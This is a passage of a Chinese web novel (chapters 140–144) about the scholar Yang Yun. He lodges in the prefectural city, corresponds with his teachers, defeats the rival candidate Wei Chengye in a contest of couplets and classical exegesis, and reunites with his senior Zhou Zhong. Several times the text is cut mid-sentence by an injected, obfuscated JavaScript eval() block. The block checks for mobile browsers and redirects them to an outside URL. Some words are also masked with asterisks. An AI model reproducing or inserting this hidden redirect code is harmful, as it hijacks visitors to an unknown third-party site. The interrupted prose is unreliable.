等牙子走了，梁庭霖冲着杨云和于慎言，不好意思地笑着说： “两位不要见笑，我父亲从小对我娇惯，离不开下人伺候。但你们放心，请人的费用我出，完全不用两位分摊。” 这话一出，杨云和于慎言立刻明白，梁庭霖这是觉得他们两个家境一般，恐怕负担不起请下人的银子，才主动把出钱的事揽下来。 如果梁庭霖真有那么娇惯，这次府试，身边不会连个书童都不带。 杨云和于慎言对视一眼，默默接受梁庭霖的好意，日后有机会再报即可。 不多时，刘三禾带着两个下人回来，梁庭霖问几句后，嘱咐他们把屋里打扫一下，明天搬过来。 第二天，杨云三人在客栈退房，搬到新租的院子里，还没走的李向谦和赵奕，也一起帮忙，晚上梁庭霖让孙妈做些菜，五人坐在堂屋里一起吃饭。 酒过三巡，菜过五味，李向谦带着几分醉意举杯说： “既然三位兄台都安顿好，明日我和赵兄也要启程回家了。” 赵奕坐在位置上，轻轻点头，他现下已经完全看开，也不避讳没中的事。 尽管和两人认识的时间不长，但听到他们要走，杨云心里有些不是滋味，举杯回敬说： “祝两位一路顺风，下次院试榜上有名！” 梁庭霖和于慎言也说些祝愿的话，期待着下次再见。 第二天，杨云和梁庭霖于慎言去客栈送了送李向谦和赵奕，回来后各自回房。 杨云坐在桌前，研好墨汁，摊开信笺，提笔写道： “卢先生钧鉴，学生杨云问好。此次府试，学生侥幸得中头名，又结识两位朋友，决定在府城住下切磋学问。” “只是不能聆听先生教诲，学生心中实感遗憾，故此斗胆去信，想请先生隔空指点。” 第140章 名声在外 第一百四十章名声在外 杨云写好信后，仔细看一遍，觉得言辞还算恳切，才装进信封。 看桌上还有信笺，杨云提笔想给老师罗孝荣也写一封。 毕竟过院试也算件大事，于情于理都应该告诉老师一声。 只是写完后，杨云才想起，老师身在云州首府临山府，准备参加今年的秋闱。 他根本没有他的地址，就算写好也不知道寄到哪里。 思索片刻，杨云把写好的信装进信封，夹在书架上一本《易经》之中，才出门找到一家车马行，客客气气地问道： “掌柜，最近可要送货或送人到东平县？” 掌柜上下打量杨云，见他一身蓝衫，斯文有礼，不像坏人，才笑呵呵地说： “不知客官问有没有东平县的马车，可是想搭顺风车？” 雇马车的花销不小，一般人出远门又离不开马车，很多人会在车行的建议下，合伙租车。 掌柜以为杨云是院试未中的学子，想要跟人合伙租车回家。 见到掌柜误会，杨云微微摇头，对他解释说： “我是有封信想让贵店伙计帮我捎回去，不知道方不方便？” 车行的伙计天南地北到处都去，顺路捎信是常有的事。 但要捎只能捎寻常家信，但凡有些贵重东西，必然会丢。 听到杨云是想捎信，掌柜心里放松许多，懒洋洋地说： “明日有一辆去东平县的马车，您要捎信的话，五十文钱。” 这些钱顶得上寻常力工半天的工资，但为把信送回去，杨云只能从身上数五十文钱交给掌柜，又把用蜡油封好口的信交给掌柜， “把这封信交给东阳书院的卢毅卢先生。” 掌柜笑眯眯地收钱和信，满口保证一定送到，杨云才离开。 看杨云走了，掌柜回到后院，找到明天去东平县送货的车夫，给他十文钱，吩咐他把这封信送到东阳书院。 从这天开始，杨云三人白日里用功读书，晚上聚在一起切磋文章，没过多长时间，三人都感觉有所精进，更觉得留下府城是对的。 平静的日子过十几天，这天小院的院门忽然被人敲响，负责看门的冯伯开门，看着门外几个二十岁左右的毛头小子，疑惑地问：“不知道各位有什么事？” 一个眼角上扬，看起来有些刻薄的年轻人拱拱手，彬彬有礼地问：“请问，府试案首杨云杨公子是在这里住吗？” 冯伯脸上的疑惑之色愈加浓厚，摇着头说： “我不知道什么府试案首，但院里的三位公子确实有一位姓杨。” 当初梁庭霖等人雇冯伯、孙妈的时候，没有说府试的事，他们两人只知道租房的三人是读书人，具体什么名次不清楚。 年轻人从袖中拿出几枚铜钱扔到他手里，平和地说：“还请老人家代为通报一声，平源府魏承业前来拜访。” 冯伯看着手中的铜钱，喜笑颜开地点头，转身跑进院子，站在杨云门前说： “杨公子，外面有一个名叫魏承业的公子前来拜访，可是你的朋友？” 正在屋中读书的杨云眉头微皱，他从来没有听过这个名字。 这人却能准确找到他的地址，应该是冲着他来的。 想到这里，杨云隔着房门对冯伯说：“这位魏公子我不认识，你请他们离开吧。” 尽管不知道这个魏承业想干什么，但现下当以读书为重，无关紧要的事推掉即可。 冯伯刚准备答应，却听到身后一个清亮中带着几分嘲讽的声音响起来， “堂堂平源府府试案首，却连人都不敢见，你是胆子只有这么大，还是心里有鬼？” 冯伯转头一看，方才在门口的那几人，已经站在二进院的垂花门内，刚才杨云的话全被他们听到。 见到几人不请自入，冯伯脸上泛起一抹苦色，赶紧走到几人面前说： “几位公子，你们怎么能擅自闯进别人家里？我们公子说了，不认识你们，请吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581490|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有邀请擅自进别人家里，这是个很失礼的举动。 何况杨云已经明确说不认识这些人，冯伯就算收钱，也得把他们请出去。 魏承业看都没看冯伯，只是冲着杨云所在的房间高声说： “杨云，我等是过府试的学子，只是听说案首也在府城，想要过来一睹阁下风采，难道你连这点面子都不给？” 如果杨云真躲在屋里不出来，魏承业大可以给他扣一个目中无人的帽子。 杨云听到魏承业是过府试的学子，轻轻叹一口气，知道不见是不行的。 他低声嘟囔一句树欲静而风不止，起身打开房门，冲着门口的魏承业等人微微拱手， “在下不知各位今日前来，有失远迎，还请见谅。” 这话是在点魏承业，不请自入别人家中，一点礼数都不懂。 见到杨云出来，魏承业和他身后的人及时拱手还礼，半真半假地说： “我等太想一睹杨兄真容，不请自入，还请杨兄莫要生气。” 杨云见魏承业竟真道歉了，不由得有些意外，深深看他一眼后，说：“各位已经见到在下真容，是不是可以离开了？我还要读书。” 魏承业等人脸上都浮现出错愕之色，按理来说，互相致歉后，杨云要请他们坐下喝杯茶。 没想到杨云根本不按常理走，要赶人。 幸好魏承业还算有些急智，他眼睛一转笑呵呵地说： “杨兄一表人才，才学出众，今日好不容易见到，在下自当多多请教，免得错过机会。” 跟在魏承业后面的人全都拱手，冲着杨云说：“我等也是这般想法，还请杨兄拨冗赐教。” 看众人死皮赖脸的样子，杨云知道今天是读不成书了，只能无奈地吩咐， “冯伯，你去告诉孙妈，家里来客人了，让她赶快烧水煮茶。” 他又将魏承业等人领到待客的偏厅，客客气气地说：“各位请坐，不知道各位如何称呼？” 第141章 请杨兄赐教 第一百四十一章请杨兄赐教 魏承业抱拳拱手，十分正式地对杨云说： “在下魏承业，平源府人，今科府试……第二名。” 杨云听到魏承业把第二名这三个字说得很重很慢，心中明白，魏承业肯定是对这个名次不满意，故意上门想要试试他的斤两。 随着魏承业报名，站在他身后一个身穿白衣，下巴有些方的年轻人开口，“在下林和光，平源府人，今科府试第十二名。” 剩下三人也纷纷报姓名，都是过今科府试的童生。 这五人在府试之前是好友，时常在一起切磋文章。 这次府试，他们公认魏承业能拿下府试第一，没承想放榜之后，竟是一个叫杨云的无名之辈拿下案首。 原本杨云要是走了，这件事也不了了之，没想到前几天林和光听说案首在城里。 几人心里好奇，故此结伴来看看杨云这个案首，是不是名副其实。 看出五人来意的杨云，嘴角泛起一抹无奈的笑容，案首又不是什么了不得的名号，这些人竟还专门来找他麻烦，真是太闲。 但人家既然已经找上门，杨云自然只能接招。 他起身出门，冲着另外两间房喊道：“梁兄，于兄，别窝在屋里读书了，有同科上门拜访。” 梁庭霖原本是个爱凑热闹，好交朋友的人，听到之后立刻跑出来，笑嘻嘻地问： “同科？在哪？杨兄快给我引荐一下。” 不多时于慎言从房间里走出来，快步来到偏厅之外。 杨云将梁庭霖，于慎言请到偏厅之中，主动为两边介绍， “梁兄，于兄，这位是府试第二名魏承业魏兄，他身后那位是林和光林兄，第十二名……” 听到五人俱是过府试的童生，梁庭霖和于慎言不由得面容一肃，正色说：“在下梁庭霖，泰泉县人，府试第三十一名。” “在下于慎言，乐业县人，府试第十九名。” 魏承业没想到杨云和两位童生住在一处，冲着两人拱手行礼，眼中的跃跃欲试之色更浓。 如果杨云是靠关系拿到案首，他当场戳穿他，如果不是，也能跟杨云好好切磋一番！ 想到这里，魏承业迫不及待地问： “刚才我来的时候，杨兄是不是正在屋中闭门苦读，准备之后的院试？” 大部分童生都是这样，杨云也没有隐瞒的意思，点头说：“在下学识浅薄，只好每日多读些书。” 梁庭霖和于慎言一起翻个白眼，杨云说学识浅薄，也就骗骗外人，他们两个根本不信。 从跟杨云住在一处后两人才发现，杨云竟有过目不忘之能。 凡是看过的书籍都能背出来，悟性也非常出色，只是他比较低调，从来不露。 从那一天起，梁庭霖和于慎言已彻底绝了跟杨云比试的心。 只是魏承业明显不知道这一点，他笑着摇摇头，看着杨云说： “老话说，读万卷书不如行**路，行**路不如阅人无数。” “杨兄苦读一月，说不定还比不上跟别人切磋一场，得到的感悟多。” 跟着魏承业一起来的林和光，在一边起哄说：“今日府试第一和第二正好见面，不如你们两个人切磋一场，让我等也开开眼界。” 梁庭霖和于慎言是聪明人，立刻察觉到魏承业等人来者不善，目光落在杨云身上。 他们三人是朋友，遇到这种事，自然要同进共退。 杨云沉思片刻，知道这一场肯定躲不过去，索性大方地看着魏承业说：“我是无所谓，只是怕魏兄仓促之间，没有做好切磋的准备。” 这话是在堵魏承业的嘴，免得他输了以后找借口赖账。 魏承业既然敢上门挑战，自然做足准备，他大笑一声说： “今日在下贸然来访，是想见识见识杨兄的风采，还请杨兄不吝赐教！” 平日里魏承业和林和光等人时常切磋，自然不会害怕跟杨云比试。 听到魏承业认下，杨云对他说： “主随客便，既然是魏兄想比，那请魏兄先出题，我再出一道相似题目。” “还请各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581491|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位充作裁判，看看我魏兄到底谁输谁赢。” 林和光等人和梁庭霖于慎言对视一眼，互相点点头，算是答应了。 见到杨云安排得这么妥当，魏承业收起轻视之心，想着第一题要出什么题目。 这时，他隐约听到外面水壶作响，脑海中立刻有灵感， “杨兄，这第一题是个对联，壶鸣似虎啸！” 杨云也听到水壶的响声，沉思片刻之后回道：“水沸作龙吟！” 魏承业见杨云对得这么快，眼睛微微一缩，想到跟林和光他们切磋时，出过的一个上联， “琴瑟琵琶，八大王一般头面！” 听到这个上联，杨云眉头微皱，这是个部首联，琴瑟琵琶上半部正好对应八大王。 他要想对出下联，也得按照魏承业的格式去对。 站在后面的梁庭霖和于慎言对视一眼，彼此摇头，短时间内他们对不出合适的下联。 杨云想大概有十几个呼吸，眼睛一亮，心中有下联， “魑魅魍魉，四小鬼各样肚肠！” 琴瑟琵琶对魑魅魍魉，八大王对四小鬼，一般头面对各色肚肠，简直是天衣无缝！ 魏承业眼中闪过一抹讶色，他知道杨云能对上来，只是没想到竟这么快！ 不等杨云歇息，他立刻又出一个复字联， “身轻担重轻挑重！” “脚短路长短走长！” 三联过后，轮到杨云出题，他不假思索地说出一个千古绝对。 “烟锁池塘柳！” 魏承业刚想张嘴，忽然觉得不对，这上联中带着金木水火土五行，他下联也得有才行！ 林和光等人显然也意识到，杨云对联的绝妙之处，纷纷皱眉开始想下联。 梁庭霖和于慎言虽是杨云这边的，但他们也有好胜之心，眯着眼睛想该怎么对才好。 这时候孙妈走进来，将泡好的茶放在众人面前。 杨云好整以暇地端起茶盏，撇撇上面的沫子，带着几分促狭的笑意说：“魏兄不必着急，慢慢想。” 第142章 一题比一题难 第一百四十二章一题比一题难 烟锁池塘柳。 这是杨云前世听来的千古绝对，不知多少文人墨客想要对上下联。 魏承业刚过府试，想要在短时间内对上，根本不可能。 一盏茶喝完，魏承业仍旧没有想到合适的下联。 他转头看看林和光等人。 他们也摇头不语。 魏承业知道这第一局输定，十分干脆地说：“杨兄，这个对联在下对不出来，还请杨兄解疑。” 既然要出题，那要有答案，不然弄个谁也答不出来的题目，那是故意耍赖。 杨云放下茶碗，眼睛转几圈后，缓缓地对魏承业说：“灯铭江堰楼。” 魏承业仔细念几遍这个下联，不由自主地点头，这两联对得确实很工整。 喝口茶歇片刻后，魏承业目光炯炯地看着杨云问道：“这第二题，我想问杨兄，民可使由之，不可使知之，这句话当作何解？” 这道题对杨云来说丝毫难度没有，他不假思索地说： “此言出自《论语泰伯》，《四书章句集注》中有解，圣人设教，非不欲人家喻而户晓也。然不能使之知，但能使之由之尔。” “意思是，不是圣人不想让百姓知道大道至理，而是圣人做不到。” 梁庭霖和于慎言纷纷点头，他们学四书的时候，老师也是这么教的。 坐在对面的林和光等人，脸上却露出一丝古怪的笑容。 魏承业脸上带着同样的笑容，不紧不慢地问杨云， “杨兄，除这种解释外，你可还有别的解释？” 这下把杨云问得有点懵，他疑惑地看着魏承业问： “魏兄，这话不只有这一种解释吗？难道你还有别的解释？” 见杨云迷惑不解的表情，魏承业有些得意地说：“看来杨云有诗才，却对四书五经研究得不深。” 杨云有些无语，从进学以来，不管是周仲还是卢毅，都说他在诗词一道上没有天赋，对经义有着令别人羡慕的悟性。 没想到今天有人会觉得，他有诗词天赋，对四书五经研究不够。 但杨云也很想知道，魏承业为什么会这么说，立刻认真请教， “听魏兄之言，似对这句话另外有解，还请魏兄不吝赐教，在下洗耳恭听。” 见到杨云向他请教，魏承业感觉良好，有条不紊地说： “这句话一共有三种断句方式，第一种也是广为人知的一种，是你刚才说的解释。” “剩下的两种，一种是民可，使由之；不可，使知之。” “意思是，百姓认可，可以让他们去做；百姓不认可的，告诉他们为什么这么做。” 杨云眉头微皱，这话虽听起来不错，却有几分强词夺理的嫌疑。 魏承业完全没有注意到杨云的神色，继续兴奋地说：“至于第三种，则是民可使，由之；不可使，知之。” “意思是，民众要是规规矩矩的，不用管他们；要是不规矩，那得好好教育他们。” 说完魏承业得意地冲杨云昂头，笑着问道：“杨兄，今日之前，你从来没有听到过如此高深新颖的论断吧？” 杨云听到第二种解释的时候，还勉强赞同，听到第三种，脸上已是毫不掩饰的鄙夷。 他冷冷地哼一声，当着魏承业的面毫不留情地说：“什么高深，什么新颖，只是割裂经意，搞白马非马那一套而已！” 魏承业所谓的三种断句方式，其实非常牵强，完全是在曲解圣贤之意，他却自以为高明。 见到杨云这么不留情面，魏承业的脸色立刻黑下来，冷冷地说：“杨云，我看你是答不出问题，恼羞成怒吧！” 其实魏承业的本意是想考杨云断句方式，没有说后两种解释一定对。 没想到杨云当着这么多人的面痛斥，让他下不来台。 杨云没有说话，只是默默闭上眼睛，大概过一盏茶时间，他忽然睁开眼睛，看着魏承业问出一个十分相似的问题， “敢问魏兄，诛其君而吊其民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586834|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如时雨降民大悦，这句话当如何断句？” 能得府试第二，魏承业自然有些学识在身，他不假思索地回道： “此语出自《孟子滕文公下》，断句位诛其君而吊其民，如时雨降，民大悦。” “意思是，诛杀**抚慰百姓，如同及时降下的雨水，让百姓感到十分高兴。” 林和光等人默默交换眼色，他们想破脑袋都没想到，除此之外，这句话还能怎么断句。 在众人的注视中，杨云脸上泛起冷笑，学着魏承业的表情，昂着头说： “这句话一共两种方式，你说的只是其中一种。” “还有一种是，诛其君而吊其民，如时，雨降，民大悦。” “也是说，诛杀**的时候天降大雨，百姓因下雨而高兴，跟杀不杀**没有关系。” 林和光等人傻眼，他们没想到杨云会这么说，更重要的是，这么解释还说得通！ 于慎言和梁庭霖脸上泛起笑意，早知道杨云必然有解法，只是没想到解法如此别出心裁。 魏承业想要拍桌反对，又想到刚才他也是这么断句，只能生生把斥责咽回去，憋得脸色涨红。 看着魏承业憋红的脸，杨云似还不解气，又加一道题目， “还有《孟子公孙丑上》中的一句，正解是，心有事焉而勿正，心勿忘，勿助长也。” “却也可作心有事焉，而勿正心勿忘勿助长也。” 魏承业听到杨云短短时间，竟又出第二道断句歧义，不由得攥紧拳头。 一连出两道题，把魏承业问得哑口无言后，杨云端起茶碗抿一口，风轻云淡地问： “魏兄，这一局是你输了，还是我输了？” 林和光皱眉看着魏承业，这一局杨云没有答出魏承业的题，魏承业也没答出杨云的题，两人按理说应该是平手。 可杨云占学说正统的位置，把魏承业说成割裂经典的小人，在心理上占上风。 魏承业低着头，久久不语，不知道在想着什么。 第143章 两难之题 第一百四十三章两难之题 林和光看看身边的朋友，再看看杨云，不知道该不该去劝一下魏承业。 在杨云也觉得有点不对劲的时候，魏承业缓缓抬头，深吸一口气说：“杨兄，刚才那道题算我们打平，我再出最后一题，这道题你要是答出来，我认输。” 杨云眉头微皱，前两道题他是一胜一平，魏承业几句话变成一局定胜负，等于前面两道题白赢。 瞧着魏承业用力抿着的嘴唇，杨云没跟他抠这些细节，从容不迫地点头说：“不知道魏兄最后一道题要考什么？” 魏承业也知道他耍小心眼，见到杨云答应，他松一口气说：“再过数月要院试，诸位应该知道，院试除经意策论试帖诗之外，还要考判语。” 所谓判语，是让考生对疑难之事下断语。 毕竟能参加院试的学子，都是朝廷的后备之才，日后做官不会断案评判不行。 见到众人都点头，魏承业才放心大胆地继续说：“我这道题是要考杨兄的判语。” “一条河边有两个村子，上游村子筑坝浇田，下游村子无水可用，要求拆坝。两个村子都有近千亩良田需要浇灌，杨兄准备如何判案？” 听到这个问题，不光是杨云，在场其他人也紧紧皱起眉头。 连跟魏承业一起来的林和光，也满脸为难，要是上游村子不筑坝，他们村的千亩庄稼要旱死；要是筑坝，下游村子的庄稼要旱死。 不管杨云怎么判，都无法做到两全其美，这一局，他输定了！ 杨云确实很为难，但他之前看过许多前人的判语题，沉思一盏茶时间，终于有主意，“同意上游村子筑坝。” 魏承业迫不及待地反驳说：“杨兄，你这是置下游村子于不顾，判语只能得个下等。” 没想到杨云冲着魏承业微微摇头，淡淡地笑着说：“请魏兄听我说完。” “上游筑坝，但必须装活动闸门，每日上午下游村子用水，下午上游村子用水。” “如此一来，两个村子都能用到水，诸位以为我这个判语如何？” 魏承业张张嘴，却什么都没说出来。 他原本想用一道两难之题难住杨云。 没想到他想出一个活动闸门，把问题解决。 见到魏承业连输三题，林和光脸上有些不好看，皱着眉头挑杨云的刺，“若两个村子不按官府判决……” 林和光的话没说完，魏承业摆摆手打断他，回答说：“不按官府判决者没收田产，关入大牢……和光，这次确实是咱们输了。” 说着，魏承业起身，冲着杨云恭恭敬敬作个揖，沉声说：“杨兄学识果然出众，在下输得心服口服，杨兄案首之名，实至名归。” 跟着魏承业一起来的四个人，心中对杨云的才学也很佩服，齐声说：“杨兄案首之名，实至名归！” 原本这五人都以为，杨云的案首必然是靠关系得到，现下见识到杨云的才学，这点猜疑立刻烟消云散。 于慎言站在旁边哼一声，不屑地看着五个不速之客说： “杨兄的案首，本来是靠自身的才学拿回来的，这还用得着你们多言？” 魏承业也知道，他刚才进门的时候，实在是太过倨傲，不好意思地认错说： “杨兄，刚才是在下鲁莽，做了恶客。若三位不嫌弃，在下今晚在福满楼开一桌席面，向三位赔罪，还请三位赏脸。” 福满楼？ 于慎言和梁庭霖对视一眼，这是平源府最好的酒楼，一桌席面恐怕要三四两银子呢。 杨云见魏承业认错认得这么痛快，也算光明磊落，起身还礼说： “魏兄，老话说不打不成交，福满楼的席面太破费了，正好孙妈的手艺不错，不如让她烧几个菜，咱们在家里吃上一桌如何？” 魏承业想一下，点点头说： “既然杨兄这么说，那让孙妈烧菜，但菜钱酒钱一定要我来出。” 杨云没跟魏承业争执，叫过孙妈把事交代下去。 魏承业随手摸出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“杨云的心意我领了，但他能中府试案首，是最好的礼物，这些东西还请夫人收回。” 姜梅当然不可能把东西拿回去，推辞几句后，扔下礼物坐着车回青山村。 卢毅无奈，只能吩咐书院下人把东西都拿回去，他在众多礼物中挑出两盒点心，满脸笑意地回学堂继续上课。 第144章 两封信 第一百四十四章两封信 东阳书院的内舍学堂静悄悄的，学生们不是在作文章，就是在看范文。 卢毅走进学堂，屈指轻轻在桌上敲几下，正在读书的学生们立刻抬头，向他看来。 在众人的注视下，卢毅笑呵呵地把两盒点心打开。 “告诉大家一个好消息，杨云在今科府试中，拿下案首！这是他托人从府城带回来的点心，大家都尝尝吧。” 学堂里沸腾起来，即便是东阳书院的学生，想拿府试案首也不容易。 曾经跟他一个学舍的卢汲，颇为自豪地说：“不愧是咱们东阳书院的学生，就算府试也能拿案首！” 素来不服杨云的方怀礼，吃着他从府城捎回来的点心，眯着眼睛说： “杨兄的才学在咱们内舍首屈一指，他拿案首，岂不是说我们都有过院试的实力？” 众人也都纷纷点头附和，甚至有人笑着说： “杨兄刚来的时候，我等还对他心有不满，没想到当晚杨兄用才华说服我等。” 卢汲的脸色微微一红，当初是他最不喜杨云，没想到最后两人竟成为好朋友。 学堂中的气氛变得热烈活泼，大家纷纷说着杨云的琐事。 但所有人都在心中，默默下定决心，一定要跟杨云一样，也拿个案首！ 转眼几天过去，这天卢毅正在房中读书，下人拿着一封信进来， “先生，门外有车行的车夫过来，说是有您的信。” 卢毅拿来一看，竟是杨云给他写的信，他拆开信封看完内容，笑着摇头说： “这小子，竟跟我来这一套。” 接着，卢毅提笔给杨云回一封信，指点他现下应该读什么书，该怎么读。 写完后，让下人把信送到车行，让车行的车夫把信转交给杨云。 五天以后，杨云正在房中写着五经题，冯伯来到门口，轻轻喊道： “杨公子，这里有一封东阳书院给您的信。” 听到东阳书院这四个字，杨云心中一喜，知道肯定是卢先生来信，三步并作两步来到门外，从冯伯手里拿过书信。 卢毅的字迹刚健有力，看到他的字好像看到他的人一样。 “杨云，知道你中府试案首，先生和内舍同学都很替你高兴，希望你能再接再厉，连最后的院试也过了。” “现下你在府城游学，当要秉守正心，每天依旧读书练字，不可耽溺于享乐之中。” 信的最后，卢毅说些要读的书及该如何读，杨云读完只觉得豁然开朗。 这几天他天天作五经题，策论，文章越来越好，心中却越来越迷茫。 卢毅这封信，如同一盏明灯，扫清杨云眼前的迷雾，让他知道前路该怎么走。 再将信看一遍后，杨云立刻提笔给卢毅回信，顺手把他这几天写的文章也塞进去，请卢毅看看有没有什么问题。 回信送走第二天，有一个三十岁左右的青年前来拜访，指名道姓要见杨云。 杨云看着面前的青年，心中不由得想起前段时间，魏承业来挑战他的事，忍不住问道： “阁下，难道也是今科府试的考生？” 这人如果是来挑战他的，那杨云得考虑搬家的事。 不然天天有人上门挑战，他哪还有时间读书？ 青年没想到杨云会这么问，愣一下后摇摇头说：“不是，在下郑子康，受令师所托，把他的信捎给你。” 杨云的眼睛转一下，脸上带着一丝激动之色问道：“罗师给我写信了？” 罗孝荣在收下杨云这个学生后，已把他交给卢毅，自行去州府游学。 中府试案首的时候，杨云本想给罗师写信，但又不知道他的落脚之地，只能作罢。 没想到罗师竟主动给他写信！ 郑子康轻轻点头，从怀中拿出一封信，交给杨云， “我跟令师认识的时间不短，他知道我要回平源府，特意找到我，让我把这封信交给你。” 杨云起身整整衣冠，双手接过书信，但他没有着急看，而是先放在一边，对郑子康说： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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上次魏承业和杨云比试过后，两人不打不成交，成为好朋友。 魏承业经常过来切磋文章，只是像今天这样咋咋呼呼的模样，还是第一次。 梁庭霖和于慎言连忙从屋里跑出来，关切地围在魏承业身边问：“怎么，出什么大事了？” 魏承业看着周围三人紧张的神色，把气喘匀后才慢慢地说：“院试的时间定下来了，是下个月初三！” 梁庭霖的脸上泛起一丝慎重之色，沉声问道：“魏兄，这不是什么小事，你能确定吗？” 院试时间对别人来说，早几天晚几天根本无所谓，对参加院试的学子却是一件大事。 他们要根据院试的时间，安排好身边的事，抓紧一切时间温书作文。 魏承业脸上闪过一丝不悦之色，轻轻点头说： “我确定，最快明天，最晚后天，府衙会张贴告示，把消息传到各县。” 于慎言在心中默默算一下，自言自语地说： “今天六月十四，距离七月初三，只有十九天啊。” 听到十九天，在场的五个人心中都是一紧，他们虽府试过了，但院试的难度要高得多，到底能不能过，谁也不知道。 杨云的眼睛动一下，冲着魏承业和林和光说： “多谢二位及时告诉我们这个消息，但只有十九天时间，咱们还是好好温书吧。” “等到院试之后，咱们再聚，二位觉得怎么样？” 魏承业知道，杨云这不是过河拆桥，而是真心为他们考虑。 毕竟十九天时间，只要利用得当，让自身的水平再上一层楼也不是不可能。 想到这里，魏承业认真地点点头，冲着杨云和梁庭霖，于慎言拱拱手， “那这么说定了，等到院试之后，咱们都榜上有名，那时再与诸位共谋一醉！” 几人做好约定，在魏承业准备走的时候，杨云忽然叫住他，“魏兄，稍等一下！” 在其余四人疑惑的目光中，杨云匆匆忙忙跑回房间，拿着一叠写过的题纸出来， “这些是我恩师给我押的院试考题，我也不知道准不准，你和林兄也练一下吧。” 罗孝荣出的题比较有难度，杨云做几道后，觉得水平大有长进。 魏承业跑来通知他们原始时间，多少是个人情，那这些题目回报正合适。 魏承业接过看一下，觉得这些题出得很有水准，也不客气， “那我收下了，各位咱们院试再见！” 送走魏承业，杨云三人各自回屋继续读书，争取在院试之前，让自身的水平再升一点。 转眼到六月底，杨云和梁庭霖，于慎言去府衙报名，刚回到家里，冯伯凑过来说： “杨公子，上午有人前来找您，但知道您去府衙报名后，留下一张纸条走了。” 府衙报名得两三个时辰，来访之人等不了也很正常。 杨云接过纸条一看，脸上露出欣喜之色，兴冲冲地对梁庭霖于慎言拱手说： “来访之人是我一位好友，他在纸条上留着地址，我去看看他。” 梁庭霖和于慎言听到来人是杨云的好友，放在平时，肯定会凑热闹跟他一起去。 但现下离院试只有四天时间，他们不想浪费，反正院试完再认识也一样。 辞别二人，杨云按照纸条上的地址，满脸笑容地来到兰云客栈，找到掌柜问：“掌柜，你们这里是不是住着一位叫周仲的学子？” 掌柜早已得到周仲的嘱托，上下打量杨云说：“你是杨公子吧？我马上让人把周公子请出来！阿贵，快去后院把周公子请出来！” 片刻之后，一个身穿青色长衫，手中拿着折扇，脸上带着期盼之色的年轻人走出来。 他看着站在柜台前的杨云，大笑着迎上来，“师弟，好久不见！” 这人正是之前为杨云开蒙，还引荐他拜入罗孝荣门下的周仲。 杨云看着将近半年未见的周仲，心中喜不自胜，拉着他找一张桌子坐下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586837|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，高兴地问： “师兄，你是什么时候到府城的？怎么没有提前给我捎个信，我好去接你。” 周仲对杨云有着引路之情，又是同一个老师，两人亲近得如同兄弟一般。 周仲招呼掌柜上几碟小菜，对杨云说： “我是昨天到的府城，进城之后先去府衙报名，报完名之后，天已经黑下来，我想着不要打扰你休息，才今天才去拜访。” 杨云笑着摆摆手，热络地说：“师兄去找我，是我的荣幸，哪能说什么打扰？” 说话间，小二已经先把凉菜端上来，周仲给杨云递去筷子，淡淡地笑着说：“罗师之前给我写过信，叮嘱我用心读书，还顺便把你在府城的地址告诉我。” “说起来，我还没有祝贺你拿下府试案首呢！来，我以茶代酒，敬你一杯！” 还有三天是院试的日子，这时喝酒是浪费时间，周仲和杨云只是喝水吃菜。 杨云谦虚几句，跟周仲碰一杯，两人聊起学业上的事，越说越开心。 等到菜上齐，周仲颇为感慨地叹一口气，目光幽深地看着杨云， “之前我还以为你是在说笑话，没想到你竟真做到了！” 